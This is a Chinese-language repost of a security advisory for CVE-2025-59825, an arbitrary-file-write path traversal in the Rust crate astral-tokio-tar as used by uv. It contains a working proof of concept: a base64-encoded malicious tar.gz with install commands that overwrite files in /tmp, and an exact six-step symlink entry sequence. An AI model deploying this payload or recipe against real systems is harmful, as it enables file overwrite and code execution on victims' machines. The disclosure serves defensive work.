Rust 解压漏洞剖析:如何通过符号链接实现任意文件写入

本文详细分析了Rust包“astral-tokio-tar”及其在工具“uv”中应用时存在的路径遍历漏洞。该漏洞源于解压过程中对已“记忆”父目录路径的验证跳过,结合符号链接的恶意构造,攻击者可实现任意文件写入,存在远程代码执行风险。

“Astral-tokio-tar” / “uv” 任意写入路径遍历漏洞 · 安全公告

摘要 “astral-tokio-tar”(一个被流行工具 “uv” 使用的 Rust 包)存在一个漏洞,在解压 tar 文件时允许任意文件写入。在 “uv” 中,此漏洞允许 Python 源码发行版在解压过程中写入任意位置。 该漏洞主要源于 astral-tokio-tar 对符号链接的支持以及 “记忆集合” 行为,该行为会跳过对先前已观察和验证过的路径的验证。

漏洞原理 由于符号链接可以指向一个目录,并且可以通过 tar 文件中的多个条目进行更改,因此可以创建一个指向目标路径下无害目录的符号链接,使其通过验证并添加到记忆集合中,然后将该符号链接更改为指向磁盘上任意其他目录。

此外,通过使用两个符号链接可以创建指向任意目录并绕过所有验证的符号链接:第一个创建的符号链接依赖于第二个符号链接来绕过验证。 此漏洞使攻击者能够生成可在文件系统上创建或更改任意文件的 tar 文件。

严重程度 中危 - 由于存在任意代码执行的可能性。

概念验证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mkdir /tmp/flag
$ echo "hello" > /tmp/flag/flag
$ ls /tmp/flag
flag
$ echo "H4sICOmxkWgCA2R1bW15cGFja2FnZS0wLjAuMS50YXIA7Zhra9swGIX92b9C86cNGsWSZasLbeku7MJYVxjsSwlBSdTUm29znLZh7L9PcrIm3ZousNQN7XkIsZFesMl5j44U2qbtw2N1+U6roS6dO8Gfserq+4FY3Ntx5nPGHXLpNMBkXKnSPN55nPBdklZxqveZDEUgpdiVNOAB5xF3HfDgGU7SdFqowTc10i2f+pS1l4favV6cxVWvR4vpf/k/EmK1/5l0WOgLEfBImHufhZFkDvHh/zunKOOseuq9tpp7z2D5xwbdivwP/s5/hvxvJP/l9fwPeUDl8yiUu1gLHmn+F9OizL/qQUWrPE025P/b8j8IxSL/I1PHhF0SkP8NcNKfxMmwNZ6OK5123VJ/n8SlHpN9cuKdJmbnN8hLTQ72A8p39oTXdWf1fdMxOhuaskUVradUEXuuezJvoa6bqVTbsuVG81w1qc7ysn6Mj98Vr1Si++RlmV9k3g7RqYoTOzyww307ejjK81Gi6SBPvZ9d91yX4zjPbE3duJ471ONBGRfVfNQIOybKvP6ZKofmpeD2tfx//OFt6/3Rm08bzf/b/M999kf+cxYI+L8JPupKDVWlWl9mbuoQToV7ZCzZIcu94V7N103ifjZzqpx2yDWTuS9qX7dq83bIkqPJ3o0+PoApt+/8rwf5tL3h/b/ZWTr1ST9k8yu/5vlZ/ge+YOYswKJAcIeETfp/0Z431/1r/gHt/6oNnwNn+sv19A/t/k/6LHQIrzsR+jev/+w/wI3mfyTW018yqz9jTec/9N8K/0e+Wf8DLiLr/yzPi/a6X5Su/FRp0T5N1Aj6r6O//TXvSX8ujfQ2/zmTRn8K/9/T+r/KLXez/jN+5X/JudU/khj/GyE/1+VFGVcaBzGc/xb+z/TFaZzopvzPFv4PrP+lwP6vGeZCP4H9AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYfn4BXGg1JABQAAA=" | base64 -d > dummypackage-0.0.1.tar.gz

$ mkdir test
$ cd test
$ uv venv env
$ . env/bin/activate
$ uv pip install ../[dummypackage-0.0.1.tar.gz](http://dummypackage-0.0.1.tar.gz/)
Using Python 3.12.3 environment at: env
Resolved 1 package in 5ms
      Built dummypackage @ file:///home/calebbrown/dummypackage-0.0.1.tar.gz
Prepared 1 package in 474ms
Installed 1 package in 0.95ms
 + dummypackage==0.0.1 (from file:///home/calebbrown/dummypackage-0.0.1.tar.gz)

$ ls /tmp/flag
flag  newfile
$ cat /tmp/flag/flag
overwrite
$ cat /tmp/flag/newfile
newfile!

深入分析 根本原因 父目录记忆 库在 v0.5.0 版本中添加了 Entry.unpack_in_raw() 方法,允许传入一个记忆集合作为参数,以提高文件系统操作的性能。 在 “uv” 中,uv-extract 中的 untar_in() 方法会创建一个记忆集合并在使用 Entry.unpack_in_raw() 解压 tar 文件中的每个条目时使用同一个集合。 记忆集合在 EntryFields.unpack_in() 中按以下逻辑使用:

1
2
3
4
5
6
7
8
        // 如果尚未见过父目录,则验证它。
        if !memo.contains(parent) {
            self.ensure_dir_created(dst, parent).await.map_err(|e| {
                TarError::new(format!("failed to create `{}`", parent.display()), e)
            })?;
            self.validate_inside_dst(dst, parent).await?;
            memo.insert(parent.to_path_buf());
        }

在此上下文中,parent 是当前正在解压的条目的父目录。因此,如果 file_dst 是 “path/to/file.txt”,那么 parent 将是 “path/to”。 只有当 parent 尚未在 memo 中时,才会调用 self.validate_inside_dst(dst, parent)。 我们可以使用符号链接来更改有效的父目录,在它被添加到 memo 之后。

符号链接绕过检查 astral-tokio-tar 有一个由 allow_external_symlinks 标志控制的检查,试图确保符号链接不指向目标目录 dst 之外。但是,通过按顺序创建以下两个符号链接,也可以绕过此检查:

  1. "ptr" -> "noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp" 此路径通过符号链接检查,因为它评估为目标目录下的 “tmp”。
  2. "noop" -> "." 此路径也通过符号链接检查,因为它评估为目标目录。 在它们都被创建后,“ptr” 现在有效地指向 "./../../../../../../../../../tmp",这很可能在目标目录之外。

组合利用 现在可以使用以下 tar 条目实现任意写入:

  1. 目录 “decoy”。 创建目录 "{dst}/decoy"
  2. 符号链接 "ptr" -> "decoy"。 创建符号链接 "{dst}/ptr"
  3. 空文件 "ptr/dummy"。 解压文件 "{dst}/ptr/dummy"(即 "{dst}/decoy/dummy")。此写入还会导致 "{dst}/ptr" 被插入 memo
  4. 符号链接 "ptr" -> "noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp"。 替换符号链接 "{dst}/ptr"
  5. 符号链接 "noop" -> "."。 创建符号链接 "{dst}/noop"。此时 “ptr” 指向 "{dst}/./../../../../../../../../../tmp"
  6. 恶意负载文件 "ptr/payload"。 解压文件 "{dst}/ptr/payload"(即 "/tmp/payload")。对 "{dst}/ptr" 的验证被跳过,因为它已被添加到 memo

相关信息

  • GHSA-7j9j-68r2-f35q
  • GHSA-3wgq-wrwc-vqmv

时间线

  • 报告日期:2025年8月11日
  • 修复日期:2025年9月23日
  • 披露日期:2025年11月17日

严重程度:中危 CVE ID:CVE-2025-59825

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计